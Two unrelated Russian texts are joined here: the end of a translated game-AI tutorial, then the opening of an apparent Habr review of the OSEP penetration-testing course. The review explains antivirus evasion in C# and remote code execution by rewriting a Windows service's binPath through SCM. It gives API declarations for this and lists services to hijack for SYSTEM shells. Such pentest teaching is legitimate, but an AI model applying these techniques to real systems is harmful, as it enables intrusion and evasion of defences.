Модель биграммы по сути является тривиальной цепью Маркова — каждая пара «будущее состояние/текущее состояние» является биграммой и мы можем предсказывать второе состояние на основании первого. Триграммы и большие N-граммы тоже можно рассматривать как цепи Маркова, где все элементы N-граммы, кроме последнего, формируют первое состояние, а последний элемент является вторым состоянием. В нашем примере с файтингом представлена вероятность перехода из состояния *удар ногой и удар ногой* в состояние *удар ногой, затем удар рукой*. Воспринимая несколько элементов истории ввода как единый элемент, мы по сути преобразуем последовательность ввода в один фрагмент состояния, что даёт нам марковское свойство, позволяя использовать цепи Маркова для прогнозирования следующего ввода, то есть угадывания того, какое комбо-движение последует далее.
Представление знания
====================
Мы обсудили несколько способов принятия решений, создания планов и прогнозирования, и все они основаны на наблюдениях агента за состоянием мира. Но как нам эффективно наблюдать за всем игровым миром? Выше мы увидели, что способ представления геометрии мира сильно влияет на перемещение по нему, поэтому легко представить, что это верно и для других аспектов игрового ИИ. Как нам собрать и упорядочить всю необходимую информацию оптимальным (чтобы она часто обновлялась и была доступна многим агентам) и практичным (чтобы информацию можно было легко использовать в процессе принятия решений) способом? Как превратить простые *данные* в *информацию* или *знание*? Для разных игр решения могут быть разными, но существует несколько наиболее популярных подходов.
Тэги/метки
----------
Иногда у нас уже имеется огромный объём полезных данных, и единственное, что нам нужно — хороший способ её категоризации и поиска по ней. Например, в игровом мире может быть множество объектов, и часть из них является хорошим укрытием от вражеских пуль. Или, например, у нас есть куча записанных аудиодиалогов, применимых в конкретных ситуациях, и нам нужен способ быстро разобраться в них. Очевидный шаг заключается в добавлении небольшого фрагмента дополнительной информации, который можно использовать для поиска. Такие фрагменты называются *тэгами* или метками.
Вернёмся к примеру с укрытием; в мире игры может быть куча объектов — ящики, бочки, пучки травы, проволочные заборы. Некоторые из них пригодны для укрытия, например, ящики и бочки, другие нет. Поэтому когда наш агент выполняет действие «Двигаться в укрытие», он должен выполнить поиск объектов поблизости и определить подходящих кандидатов. Он не может просто выполнять поиск по имени — возможно, в игре есть «Crate\_01», «Crate\_02», вплоть до «Crate\_27», и мы не хотим искать все эти названия в коде. Нам не хочется добавлять в код ещё одно название каждый раз, когда художник создаст новую вариацию ящика или бочки. Вместо этого можно искать любые названия, содержащие слово «Crate», но однажды художник может добавить «Broken\_Crate» с огромной дырой, непригодный в качестве укрытия.
Поэтому вместо этого мы создадим тэг «COVER» и попросим художников с дизайнерами прикреплять этот тэг ко всем объектам, которые можно использовать для укрытия. Если они добавят тэг ко всем бочкам и (целым) ящикам, то процедуре ИИ достаточно будет найти объекты с этим тэгом, и она будет знать, что объекты подходят для этой цели. Тэг будет работать, даже если объекты позже переименуют, и его можно добавлять к объектам в будущем, не внося в код лишних изменений.
В коде тэги обычно представляются в виде строки, но если все используемые тэги известны, то можно преобразовать строки в уникальные числа для экономии пространства и ускорения поиска. В некоторых движках тэги являются встроенным функционалом, например, в [Unity](https://docs.unity3d.com/Manual/Tags.html) и в [Unreal Engine 4](https://www.unrealengine.com/en-US/blog/using-gameplay-tags-to-label-and-organize-your-content-in-ue4), поэтому в них достаточно определиться с выбором тэгов и использовать их по назначению.
Умные объекты
-------------
Тэги — это способ внесения дополнительной информации в окружение агента, чтобы помочь ему разобраться в имеющихся вариантах, чтобы запросы наподобие «Найди мне все ближайшие места, за которыми можно укрыться» или «Найди мне всех врагов поблизости, которые могут кастовать заклинания» выполнялись эффективно и с минимальными усилиями работали для новых игровых ресурсов. Но иногда в тэгах не содержится достаточно информации для их полного использования.
Представьте симулятор средневекового города, в котором искатели приключений бродят где захотят, при необходимости тренируются, сражаются и отдыхают. Мы можем расположить в разных частях города тренировочные площадки и присвоить им тэг «TRAINING», чтобы персонажи могли с лёгкостью найти место для тренировок. Но давайте представим, что одно из них — это стрельбище для лучников, а другое — школа волшебников. В каждом из этих случаев нам нужно показывать свою анимацию, потому что под общим названием «тренировок» они представляют различные действия, и не каждый искатель приключений заинтересован в обоих видах тренировок. Можно углубиться ещё больше и создать тэги ARCHERY-TRAINING и MAGIC-TRAINING, отделить друг от друга процедуры тренировок и встроить в каждую разные анимации. Это поможет решить задачу. Но представьте, что дизайнеры позже заявят «Давайте у нас будет школа Робин Гуда, в которой можно учиться стрельбе из лука и бою на мечах»! А потом, когда мы добавим бой на мечах, они просят создать «Академию заклинаний и боя на мечах Гэндальфа». В результате нам придётся хранить для каждого места несколько тэгов и искать разные анимации на основании того, какой аспект тренировок нужен персонажу, и т.д.
Ещё один способ заключается в хранении информации непосредственно в объекте вместе с влиянием, которое она имеет на игрока, чтобы ИИ-актору просто можно было перечислить возможные варианты и выбирать из них в соответствии с потребностями агента. После чего он может перемещаться в соответствующее место, выполнять соответствующие анимации (или любые другие обязательные действия), как это указано в объекте, и получать соответствующее вознаграждение.
| | | |
| --- | --- | --- |
|
| **Выполняемая анимация**
| **Результат для пользователя**
|
| *Стрельбище*
| Shoot-Arrow
| +10 к навыку Archery
|
| *Школа магии*
| Sword-Duel
| +10 к навыку Swords
|
| *Школа Робина Гуда*
| Shoot-Arrow
| +15 к навыку Archery
|
| Sword-Duel
| +8 к навыку Swords
|
| *Академия Гэндальфа*
| Sword-Duel
| +5 к навыку Swords
|
| Cast-Spell
| +10 к навыку Magic |
У персонажа-лучника рядом с этими 4 локациями будет 6 вариантов, 4 из которых неприменимы к нему, если он не пользуется ни мечом, ни магией. Сопоставляя с результатом в этом случае улучшение навыка, а не название или тэг, мы можем с лёгкостью расширять возможности мира новыми поведениями. Для отдыха и утоления голода можно добавлять гостиницы. Можно позволить персонажам ходить в библиотеку и читать о заклинаниях и об улучшенных техниках стрельбы из лука.
| | | |
| --- | --- | --- |
| **Название объекта**
| **Выполняемая анимация**
| **Конечный результат**
|
| Гостиница | Buy
| -10 к голоду
|
| Гостиница
| Sleep
| -50 к усталости
|
| Библиотека
| Read-Book
| +10 к навыку Spellcasting
|
| Библиотека
| Read-Book
| +5 к навыку Archery |
Если у нас уже есть поведение «тренироваться стрельбе из лука», то даже если мы пометим библиотеку как место для ARCHERY-TRAINING, то нам скорее всего понадобится особый случай для обработки анимации «read-book» вместо обычной анимации боя на мечах. Эта система даёт нам бОльшую гибкость, перемещая эти ассоциации в данные и храня данные в мире.
Существование объектов или локаций — библиотеки, гостиницы или школ — сообщает нам о предлагаемых ими услугах, о персонаже, который может их получить, позволяет использовать небольшое количество анимаций. Возможность принятия простых решений о результатах позволяет создавать разнообразие интересных поведений. Вместо того, чтобы пассивно ждать запроса, эти объекты могут предоставлять множество информации о том, как и зачем их использовать.
Кривые реакций
--------------
Часто встречается ситуация, когда часть состояния мира можно измерить как непрерывное значение. Примеры:
* «Процент здоровья» обычно имеет значения от 0 (мёртв) до 100 (абсолютно здоров)
* «Расстояние до ближайшего врага» изменяется от 0 до некоторого произвольного положительного значения
Кроме того, в игре может быть некий аспект системы ИИ, требующий ввода непрерывных значений в каком-то другом интервале. Например, для принятия решения о бегстве системе оценки полезности может потребоваться и расстояние до ближайшего врага, и текущее здоровье персонажа.
Однако система не может просто сложить два значения состояния мира, чтобы получить некий уровень «безопасности», потому что эти две единицы измерения несравнимы — систем будет считать, что почти мёртвый персонаж в 200 метрах от врага находится в такой же безопасности, что и абсолютно здоровый персонаж в 100 метрах от врага. Кроме того, в то время как процентное значение здоровья в широком смысле линейно, расстояние таким не является — разница в расстоянии от врага 200 и 190 метров менее значимо, чем разница между 10 метрами и нулём.
В идеале нам нужен такое решение, которое брало бы два показателя и преобразовывало их в похожие интервалы, чтобы их можно было сравнивать непосредственно. И нам нужно, чтобы дизайнеры могли управлять способом вычисления этих преобразований, чтобы контролировать относительную важность каждого значения. Именно для этого используются кривые реакций (Response Curves).
Проще всего объяснить кривую реакции как график с вводом по оси X, произвольные значения, например «расстояние до ближайшего врага» и вывод по оси Y (обычно нормализованное значение в интервале от 0.0 до 1.0). Линия или кривая на графике определяет привязку ввода к нормализованному выводу, а дизайнеры настраивают эти линии, чтобы получить нужное им поведение.
Для вычисления уровня «безопасности» можно сохранить линейность значений процентов здоровья — например, на 10% больше здоровья — это обычно хорошо и когда персонаж тяжело ранен, и когда он ранен легко. Поэтому мы привяжем эти значения к интервалу от 0 до 1 прямолинейно:
Расстояние до ближайшего врага немного отличается, поэтому нас совершенно не волнуют враги за пределами определённого расстояния (допустим 50 метров), и нас гораздо больше интересуют различия на близком расстоянии, чем на дальнем.
Здесь мы видим, что выходные данные «безопасности» для врагов в 40 и в 50 метрах почти одинаковы: 0.96 и 1.0.
Однако между врагом в 15 метрах (примерно 0.5) и врагом в 5 метрах (примерно 0.2) есть гораздо бОльшая разница. Такой график лучше отражает важность того, что враг становится ближе.
Нормализовав оба этих значения в интервале от 0 до 1, мы можем вычислить общее значение безопасности как среднее от этих двух входных значений. Персонаж с 20% здоровья и врагом в 50 метрах будет иметь показатель безопасности 0.6. Персонаж с 75% здоровья и врагом всего в 5 метрах будет иметь показатель безопасности 0.47. А тяжелораненый персонаж с 10% здоровья и врагом в 5 метрах будет иметь показатель безопасности всего 0.145.
Здесь следует учесть следующее:
* Обычно для комбинирования выходных значений кривых реакции в конечное значение используют взвешенное среднее — это упрощает повторное использование тех же кривых для вычисления других значений благодаря применению в каждом случае разных весов, отражающих важность разности.
* Когда входное значение находится за пределами заданного интервала — например, враг дальше, чем в 50 метрах — входное значение обычно ограничивается максимумом интервала, чтобы вычисления производились так, как будто он находится в интервале.
* Реализация кривой реакции часто принимает форму математического уравнения, обычно применяющего (иногда ограниченный интервалом) ввод к линейному уравнению или к простому многочлену. Но может быть достаточно и любой системы, позволяющей дизайнеру создавать и вычислять кривую — например, объект [Unity AnimationCurve](https://docs.unity3d.com/ScriptReference/AnimationCurve.html) позволяет подставлять произвольные значения, выбирать плавность линии между значениями и вычислять любую точку на линии.
Blackboards
-----------
Часто мы оказываемся в ситуации, когда ИИ для агента должен начать отслеживать знания и информацию, получаемые во время игры, чтобы можно было использовать их при дальнейшем принятии решений. Например, агенту может потребоваться запомнить, на какого последнего персонажа он нападал, чтобы на короткое время сосредоточиться на атаках этого персонажа. Или он должен запоминать, сколько времени прошло после того, как он услышал шум, чтобы через определённый промежуток времени перестать искать его причины и вернуться к прежним занятиям. Очень часто система записи данных сильно отделена от системы считывания данных, поэтому она должна быть легко доступна из агента, а не встроена непосредственно в различные системы ИИ. Считывание может происходить спустя какое-то время после записи, поэтому данные нужно где-то хранить, чтобы их можно было извлечь позже (а не вычислять по требованию, что может быть нереализуемо).
В жёстко заданной кодом системе ИИ решение может заключаться в добавлении необходимых переменных в процессе появления необходимости. Эти переменные относятся к экземплярам персонажа или агента, или встраиваясь в него непосредственно, или создавая отдельную структуру/класс для хранения такой информации. Процедуры ИИ можно адаптировать для считывания и записи этих данных. В простой системе это сработает хорошо, но при добавлении всё большего количества информации она становится громоздкой, и обычно требует каждый раз пересборки игры.
Более совершенный подход заключается в превращении хранилища данных в некую структуру, позволяющую системам считывать и записывать произвольные данные. Такое решение позволяет добавлять новые переменные без необходимости изменения структуры данных, обеспечивая таким образом возможность увеличения количества изменений, которые можно произвести из файлов данных и скриптов без необходимости пересборки. Если у каждого агента хранится просто список пар «ключ-значение», каждая из которых является отдельным фрагментом знания, то различные системы ИИ могут сотрудничать, добавляя и считывая эту информацию при необходимости.
В разработке ИИ такие подходы называются «blackboards» («школьными досками»), потому что каждый участник — в нашем случае это процедуры ИИ (например, восприятие, поиск пути и принятие решений) — могут выполнять запись на «доску», считывать с которой данные для выполнения своей задачи могут любые другие участники. Можно представить это как команду специалистов, собравшихся вокруг доски и записывающих на неё что-то полезное, чем нужно поделиться с группой. При этом они могут читать предыдущие записи своих коллег, пока не придут к совместному решению или плану. Жёстко заданный в коде список общих переменных иногда называется «static blackboard» (потому что элементы, в которых хранится информация, постоянны во время выполнения программы), а произвольный список пар «ключ-значение» часто называют «dynamic blackboard». Но используются они примерно одинаково — как промежуточное звено между частями системы ИИ.
В традиционном ИИ упор обычно делается на сотрудничество различных систем для совместного принятия решения, но в игровом ИИ присутствует относительно малое количество систем. Однако определённая степень сотрудничества всё равно может присутствовать. Представим в экшн-RPG следующее:
* Система «восприятия» регулярно сканирует область и записывает на blackboard следующие записи:
+ «Ближайший враг»: «Гоблин 412»
+ «Расстояние до ближайшего врага»: 35.0
+ «Ближайший друг»: «Воин 43»
+ «Расстояние до ближайшего друга»: 55.4
+ «Время последнего замеченного шума»: 12:45pm
* Системы наподобие боевой системы могут записывать в blackboard данные времени совершения ключевых событий, например:
+ «Время последнего полученного урона»: 12:34pm
Многие из этих данных могут выглядеть избыточными — в конце концов, всегда можно получить расстояние до ближайшего врага, просто зная, кто этот враг, и выполнив запрос его позиции. Но при повторении по несколько раз за кадр для того, чтобы решить, угрожает что-то агенту или нет, это становится потенциально медленной операцией, особенно если ей нужно выполнять пространственный запрос для определения ближайшего врага. А метки времени «последнего замеченного шума» или «последнего полученного урона» всё равно не удастся получить мгновенного — необходима запись времени совершения этих событий, и удобным местом для этого является blackboard.
В Unreal Engine 4 используется система dynamic blackboard для хранения данных, передаваемых деревьями поведений. Благодаря этому общему объекту данных дизайнеры могут с лёгкостью записывать новые значения в blackboard на основании своих блюпринтов (визуальных скриптов), а дерево поведений может позже считывать эти значения для выбора поведения, и для всего этого не требуется рекомпиляция движка.
Карты влияния (Influence Maps)
------------------------------
Стандартной задачей в ИИ является принятие решения о том, куда должен двигаться агент. В шутере мы можем выбрать действие «Двигаться в укрытие», но как решить, где находится укрытие в условиях перемещения врагов? Аналогично с действием «Бегство» — куда безопаснее всего бежать? Или в RTS нам может понадобиться, чтобы отряды атаковали слабое место в обороне противника — как нам определить, где находится это слабое место?
Все эти вопросы можно считать географическими задачами, потому что мы задаём вопрос о геометрии и форме окружения и положении в нём сущностей. В нашей игре все эти данные скорее всего уже имеются, но придать им смысл — непростая задача. Например, если мы хотим найти слабое место в обороне врага, то простой выбор позиции самого слабого здания или укрепления недостаточно хорош, если по флангам у них расположились две мощные орудийные системы. Нам нужен способ, позволяющий учесть локальную область и дающий лучший анализ ситуации.
Именно для этого предназначена структура данных «карта влияния». Она описывает «влияние», которое может оказывать сущность на область вокруг неё. Комбинируя влияние нескольких сущностей, мы создаём более реалистичный взгляд на весь ландшафт. С точки зрения реализации мы аппроксимируем игровой мир, накладывая на него 2D-сетку, и после определения того, в какой клетке сетки находится сущность, мы применяем к этой и окружающим её клеткам оценку влияния, обозначающую тот аспект геймплея, который мы хотим смоделировать. Для получения полной картины мы накапливаем эти значения в той же сетке. После чего мы можем выполнять различные запросы к сетке, чтобы понять мир и принять решение о позиционировании и целевых точках.
Возьмём для примера «самую слабую точку в обороне противника». У нас есть защитная стена, на атаку которой мы хотим отправить пехотинцев, но за ней стоят 3 катапульты — 2 близко друг к другу слева, 1 справа. Как нам выбрать хорошую позицию для атаки?
Для начала мы можем назначить всем клеткам сетки в пределах атаки катапульты +1 очков защиты. Нанесение этих очков на карту влияния для одной катапульты выглядит так:
Голубой прямоугольник ограничивает все клетки, в которых можно начать атаку на стену. Красными квадратами обозначено +1 влияния катапульт. В нашем случае это означает область их атаки и угрозу для нападающих юнитов.
Теперь мы добавим влияние второй катапульты:
У нас появилась тёмная область, в которой влияние двух катапульт складывается, что даёт этим клеткам +2 защиты. Клетка +2 внутри голубой зоны может быть особо опасным местом для атаки стены! Добавим влияние последней катапульты:
[Значки: CC-BY: <https://game-icons.net/heavenly-dog/originals/defensive-wall.html>]
Теперь у нас есть полное обозначение области, закрываемой катапультами. В потенциальной зоне атаки есть одна клетка, имеющая +2 влияния катапульт, 11 клеток с +1 влияния, и 2 клетки с 0 влияния от катапульт — это основные кандидаты позиции для атаки, в них мы можем атаковать стену, не опасаясь огня катапульт.
Преимущество карт влияния в том, что они преобразуют непрерывное пространство с почти бесконечным множеством возможных позиций в дискретное множество приблизительных позиций, относительно которых мы очень быстро можем принимать решения.
Однако мы получили это преимущество только благодаря выбору небольшого количества потенциальных позиций для атаки. Зачем нам использовать здесь карту влияния вместо того, чтобы проверять вручную расстояние от каждой катапульты до каждой из этих позиций?
Во-первых, вычисление карты влияния может быть очень малозатратным. После того, как на карту нанесены очки влияния, её не нужно менять, пока сущности не начнут двигаться. Это значит, что нам не нужно постоянно выполнять вычисления расстояний или итеративно опрашивать каждый возможный юнит — мы «запекаем» эту информацию в карту и можем передавать запросы к ней любое количество раз.
Во-вторых, мы можем накладывать друг на друга и комбинировать разные карты влияния для выполнения более сложных запросов. Например, чтобы выбрать безопасное место для побега, мы можем взять карту влияния наших врагов и вычесть карту наших друзей — клетки сетки с самым большим отрицательным значением будут считаться безопасными.
Чем краснее, тем опаснее, а чем зеленее, тем безопаснее. Области, в которых влияние накладывается друг на друга, может полностью или частично нейтрализоваться, чтобы отразить конфликтующие области влияния.
Наконец, карты влияния легко визуализировать при отрисовке в мире. Они могут стать ценной подсказкой дизайнерам, которым нужно настраивать ИИ на основании видимых свойств, и за ними можно наблюдать в реальном времени, чтобы понять, почему ИИ выбирает принимаемые им решения.
Заключение
==========
Надеюсь, статья дала вам общую картину самых популярных инструментов и подходов, используемых в игровом ИИ, а также ситуаций, в которых они могут применяться. В статье не рассмотрено множество других техник (они используются реже, но потенциально могут быть столь же эффективными), в том числе и следующие:
* алгоритмы задач оптимизации, в том числе поиск восхождением к вершине, градиентный спуск и генетические алгоритмы.
* состязательные алгоритмы поиска/планирования, такие как минимакс и альфа-бета-отсечение
* техники классификации, например, перцептроны, нейронные сети и метод опорных векторов
* системы обработки восприятия и памяти агентов
* архитектурные подходы к ИИ, такие как гибридные системы, предикативные архитектуры (архитектуры Брукса) и другие способы разложения систем ИИ на слои
* инструменты анимации, такие как планирование движения (motion planning) и motion matching
* задачи обеспечения производительности, такие как уровни детализации (level of detail), алгоритмы с отсечением по времени (anytime algorithms) и квантование времени (timeslicing)
Чтобы прочитать подробнее об этих темах, а также о темах, рассмотренных в статье, можно изучить следующие источники.
* На GameDev.net есть [статьи и туториалы по искусственному интеллекту](https://www.gamedev.net/articles/programming/artificial-intelligence/), а также [форум по искусственному интеллекту](https://www.gamedev.net/forums/forum/6-artificial-intelligence/).
* На [AiGameDev.com](http://aigamedev.com/) есть множество презентаций и статей по широкому спектру тем искусственного интеллекта в контексте разработки игр
* В GDC Vault есть доклады с GDC AI Summit, многие из которых доступны бесплатно: <https://www.gdcvault.com/>
* Кроме того, в AI Game Programmers Guild есть куча ссылок на старые статьи и презентации с этого саммита: <http://gameai.com/>
* У исследователя ИИ и разработчика игр Томми Томпсона есть YouTube-канал, посвящённый объяснению и исследованию ИИ в коммерческих играх: <https://www.youtube.com/user/tthompso>
Многие из самых качественных материалов можно найти в книгах, в том числе и в следующих:
* Серия The Game AI Pro — это сборник коротких статей, объясняющих реализацию конкретных функций или решению конкретных проблем. На <http://www.gameaipro.com/> выложены бесплатные фрагменты из предыдущих книг.
+ [Game AI Pro: Collected Wisdom of Game AI Professionals](http://go.gamedev.net/?id=13722X707581&xs=1&isjs=1&url=https%3A%2F%2Famzn.to%2F2KGoB8n&xguid=f8ad586e5984991508efff4754027dbd&xuuid=305451ecead59d76ca830fded0aab276&xsessid=6ccb8b9fa3f10b478b65f7ed703a447b&xcreo=0&xed=0&sref=https%3A%2F%2Fwww.gamedev.net%2Farticles%2Fprogramming%2Fartificial-intelligence%2Fthe-total-beginners-guide-to-game-ai-r4942%2F%3Fdo%3Dedit%26d%3D1%26id%3D4942%26csrfKey%3D7015c6d2c5c643e87baa74f8e5d2c094&pref=https%3A%2F%2Fwww.gamedev.net%2Farticles%2Fprogramming%2Fartificial-intelligence%2Fthe-total-beginners-guide-to-game-ai-r4942%2F&xtz=420&jv=13.7.1&bv=2.5.1)
+ [Game AI Pro 2: Collected Wisdom of Game AI Professionals](http://go.gamedev.net/?id=13722X707581&xs=1&isjs=1&url=https%3A%2F%2Famzn.to%2F2KFKyoe&xguid=f8ad586e5984991508efff4754027dbd&xuuid=305451ecead59d76ca830fded0aab276&xsessid=6ccb8b9fa3f10b478b65f7ed703a447b&xcreo=0&xed=0&sref=https%3A%2F%2Fwww.gamedev.net%2Farticles%2Fprogramming%2Fartificial-intelligence%2Fthe-total-beginners-guide-to-game-ai-r4942%2F%3Fdo%3Dedit%26d%3D1%26id%3D4942%26csrfKey%3D7015c6d2c5c643e87baa74f8e5d2c094&pref=https%3A%2F%2Fwww.gamedev.net%2Farticles%2Fprogramming%2Fartificial-intelligence%2Fthe-total-beginners-guide-to-game-ai-r4942%2F&xtz=420&jv=13.7.1&bv=2.5.1)
+ [Game AI Pro 3: Collected Wisdom of Game AI Professionals](https://amzn.to/2KF4irS)
* Серия AI Game Programming Wisdom была предшественницей серии Game AI Pro. В ней содержатся слегка устаревшие техники, но почти все они актуальны и сегодня. Эти книги встречаются редко, так что ищите их в цифровых копиях или на распродажах!
+ [AI Game Programming Wisdom 1](https://amzn.to/2ARFhKx)
+ [AI Game Programming Wisdom 2](https://amzn.to/2Mkv4eh)
+ [AI Game Programming Wisdom 3](https://amzn.to/2nnuYEh)
+ [AI Game Programming Wisdom 4](https://amzn.to/2ARFEEV)
* [Artificial Intelligence: A Modern Approach](https://amzn.to/2AWKuRh) — один из стандартных текстов для тех, кто хочет разобраться в общей тематике искусственного интеллекта. Эта книга не относится конкретно к играм, и иногда может быть сложной, но она даёт непревзойдённый обзор области и учит основам, на которых построены многие игровые ИИ.
Кроме того, есть несколько хороших книг об игровом ИИ в целом, написанных профессионалами этой отрасли. Сложно отдать предпочтение какой-то одной — прочитайте обзоры и выберите ту, которая подходит вам. | https://habr.com/ru/post/420219/ | null | ru | null |
# Сертификация OSEP, и с чем ее едят
Привет, Хабр!
Относительно недавно (в масштабах вечности) я сдал экзамен [Offensive Security Experienced Penetration Tester](https://www.offensive-security.com/pen300-osep/) в рамках курса PEN-300 от Offensive Security.
В этой публикации я постараюсь рассказать о том, что это за сертификация, как проходит экзамен, как устроены лабы, и какие навыки можно приобрести по окончании обучения. По тексту я буду приводить много ссылок на внешние ресурсы, освещающие темы, о которых говорится в курсе — для того, чтобы читатель смог оценить, готов ли он к началу обучения, или стоит еще покачать скил в области тестирования на проникновение.
Пошли под кат.
OSEP и правда сильно отличается от своего предшественника — сертификации OSCP, [о которой](https://habr.com/ru/post/265757/) [не писал](https://habr.com/ru/post/482896/) [только](https://habr.com/ru/company/acribia/blog/497806/) [ленивый](https://habr.com/ru/company/avito/blog/540738/), во всех аспектах: от структуры методички и устройства лабораторных до финального экзамена. Для себя я выделил пять основных тем, повторение / более глубокое изучение которых было для меня наиболее полезным из всего курса:
1. Разбор техник уклонения от средств защиты (AV/EDR).
2. Абьюз окружения среды AD для горизонтального перемещения.
3. Взаимодействие с инстансами MS SQL Server для развития атак на домен.
4. Атаки на трасты AD.
5. Постэксплуатация по части Linux-машин.
Чтобы сильно не спойлерить содержание методички (объем которой более 700 стр., к слову), я своими словами **кратко** расскажу о том, что мне понравилось в каждой обозначенной теме.
ПримечаниеМатериал для этой статьи пролежал в черновиках почти год, поэтому допускаю, что содержание курса с тех пор могло измениться, и я не описал чего-то такого, о чем стоило бы обязательно упомянуть.
### Разбор базовых техник уклонения от средств защиты
Сразу хочется отметить, что практически в каждом разделе обучения активно используется язык C#, уже давно [являющийся](https://posts.specterops.io/operational-challenges-in-offensive-c-355bd232a200) неофициальным стандартом «де-факто» для разработки наступательного вооружения.
Причин тому несколько: во-первых, несмотря на управляемый CRL-код, в который генерятся бинари C#, из него очень удобно «дергать» ручки Windows API для триггера вредоносной нагрузки.
Во-вторых, нативная интеграция этого языка с ОС Windows позволяет выполнять собранные программы **из памяти** с помощью механизма `Reflection.Assembly`, что очень усложняет жизнь антивирусам и прочему «нехорошему» софту в контексте пресечения нежелательной по его мнению активности (см. [metasploit-execute-assembly](https://github.com/b4rtik/metasploit-execute-assembly), [In-memory .NET Assembly Execution](https://blog.cobaltstrike.com/2018/04/09/cobalt-strike-3-11-the-snake-that-eats-its-tail/) и т. д.).
В-третьих, большая фанбаза этого языка из сильных спецов по наступательной безопасности обеспечивает его самыми разными плюшками для L33T-разработки малвари.
Тут вам и:
* прямые системные вызовы в обход хуков Win32 API и Native API с помощью [D/Invoke](https://thewover.github.io/Dynamic-Invoke/);
* `.export` управляемого кода для запуска DLL через неуправляему среду (aka rundll32.exe) с помощью [DllExport](https://libraries.io/nuget/DllExport);
* крутые библиотеки [для API-хукинга](https://github.com/CCob/MinHook.NET) и [генерации BOF-ов](https://github.com/CCob/BOF.NET);
* целое множество [готовых коллекций](https://github.com/S3cur3Th1sSh1t/PowerSharpPack) и [методов](https://github.com/byt3bl33d3r/OffensiveNim/blob/master/src/execute_assembly_bin.nim) для запуска скомпилированных эксзешников из других средств и сред.
Тривиальный пример (не из курса) для получения «метера» без алертов от AV в 15 строк (не считая шеллкода) через мощнейший механизм `GetDelegateForFunctionPointer` показывает всю гибкость этого языка, местами не уступающую этим вашим C++.
"I've got a meterpreter shell? No way!"Разумеется, ведь внутри нет подозрительных вызовов. Ведь так?Оч плохая музыкаНе C# единыСуществуют и другие языки, такие как [Boolang](https://github.com/boo-lang/boo) и [Nim](https://nim-lang.org/), которые так [удобно](https://davidtavarez.github.io/2019/weaponizing-boo-lang/) [использовать](https://huskyhacks.dev/2021/07/17/nim-exploit-dev/) при проведении пентестов. Но в курсе PEN-300 об этом, к сожалению, не рассказывается.
Однако, как будет упомянуто ниже, никто не запрещает гуглить и развиваться параллельно с курсом. Пример тому — моя [PoC-реализация](https://github.com/snovvcrash/NimHollow) техники [Process Hollowing](https://attack.mitre.org/techniques/T1055/012/) на Nim.
Дополнительно оговорюсь, что курс не предлагает зиродей техник для байпаса аверов, но, получив знание базовых методов и наметив примерный вектор развития, можно по традиции разресерчить интересующую вас тему более глубоко самостоятельно.
### Безфайловые передвижения в AD
Тема эксплуатации Active Directory проходит красной линией через весь курс — одна из причин, почему он мне так зашел. Один простой пример крафта легитимной программы для бокового продвижения ниже.
Все знают о замечательном [PsExec](https://docs.microsoft.com/en-us/sysinternals/downloads/psexec) из состава Sysinternals, флаггинг которого со стороны AV уже [считается хорошим тоном](https://www.kaspersky.ru/about/press-releases/2020_kazhdaya-tretya-kiberataka-v-2019-godu-sovershalas-s-primeneniem-legitimnih-instrumentov). То же самое касается и его младшего брата — [psexec.py](https://github.com/SecureAuthCorp/impacket/blob/master/examples/psexec.py) из Impacket.
Однако не все знают, что исполнить код на другой машине можно и без создания подозрительных служб с рандомным названием: просто измени `binPath=` редко используемого сервиса удаленно с помощью [SCM](https://ru.wikipedia.org/wiki/%D0%94%D0%B8%D1%81%D0%BF%D0%B5%D1%82%D1%87%D0%B5%D1%80_%D1%83%D0%BF%D1%80%D0%B0%D0%B2%D0%BB%D0%B5%D0%BD%D0%B8%D1%8F_%D1%81%D0%BB%D1%83%D0%B6%D0%B1%D0%B0%D0%BC%D0%B8) на свой любимый загрузочный кредл, *and u r good2go!*
Для этого будет достаточно дернуть 5 вызовов из `advapi32.dll`. В синтаксисе [P/Invoke](http://www.pinvoke.net/) это выглядит примерно так:
```
// Для получения хэндла SCM
[DllImport("advapi32.dll", EntryPoint = "OpenSCManagerW", ExactSpelling = true, CharSet = CharSet.Unicode, SetLastError = true)]
public static extern IntPtr OpenSCManager(string machineName, string databaseName, uint dwAccess);
// Для получения хэндла целевой службы
[DllImport("advapi32.dll", SetLastError = true, CharSet = CharSet.Auto)]
static extern IntPtr OpenService(IntPtr hSCManager, string lpServiceName, uint dwDesiredAccess);
// Для запроса информации о текущем бинаре службы (для его последующего восстановления)
[DllImport("advapi32.dll", CharSet = CharSet.Unicode, SetLastError = true)]
public static extern Boolean QueryServiceConfig(IntPtr hService, IntPtr intPtrQueryConfig, UInt32 cbBufSize, out UInt32 pcbBytesNeeded);
// Для изменения текущего бинаря службы
[DllImport("advapi32.dll", EntryPoint = "ChangeServiceConfig")]
[return: MarshalAs(UnmanagedType.Bool)]
public static extern bool ChangeServiceConfigA(IntPtr hService, uint dwServiceType, int dwStartType, int dwErrorControl, string lpBinaryPathName, string lpLoadOrderGroup, string lpdwTagId, string lpDependencies, string lpServiceStartName, string lpPassword, string lpDisplayName);
// Для запуска службы
[DllImport("advapi32", SetLastError = true)]
[return: MarshalAs(UnmanagedType.Bool)]
public static extern bool StartService(IntPtr hService, int dwNumServiceArgs, string[] lpServiceArgVectors);
```
PoCЗа работающим Proof-of-Concept-ом можно сходить на мой [GitBook](https://ppn.snovvcrash.rocks/pentest/infrastructure/ad/lateral-movement/rpc#scm).
Таким образом можно получить RCE от имени системы на машине-жертве. Хорошие кандидаты служб, по умолчанию запускаемых вручную, изменение которых не скажется на работе сотрудников Заказчика (вендоры EDR, записываем):
* `XblAuthManager` – диспетчер проверки подлинности Xbox Live, даст шелл от имени LocalSystem.
* `SensorService` – служба датчиков, даст шелл от имени LocalSystem.
* `BTAGService` – служба звукового шлюза Bluetooth, даст шелл от имени LocalService.
* `lfsvc` – служба географического положения, даст шелл от имени LocalSystem.
Все, что рассказывается в OSEP, тем или иным образом уже исследовано специалистами ИБ, и эта техника не исключение. Для лучшего понимания ее вооружения рекомендуется изучить проекты [SharpNoPSExec](https://github.com/juliourena/SharpNoPSExec) и [SCShell](https://github.com/Mr-Un1k0d3r/SCShell).
### Взаимодействие с MS SQL
В дефолтной настройке MS SQL Server до ревизии 2019 любая доменная учетка с public-ролью может вызвать [SSRF](https://portswigger.net/web-security/ssrf) ограниченного действия для провоцирования коэрцитивной аутентификации на машине по выбору атакующего. Это широко известно в народе как [UNC Path Injection](https://gist.github.com/nullbind/7dfca2a6309a4209b5aeef181b676c6e).
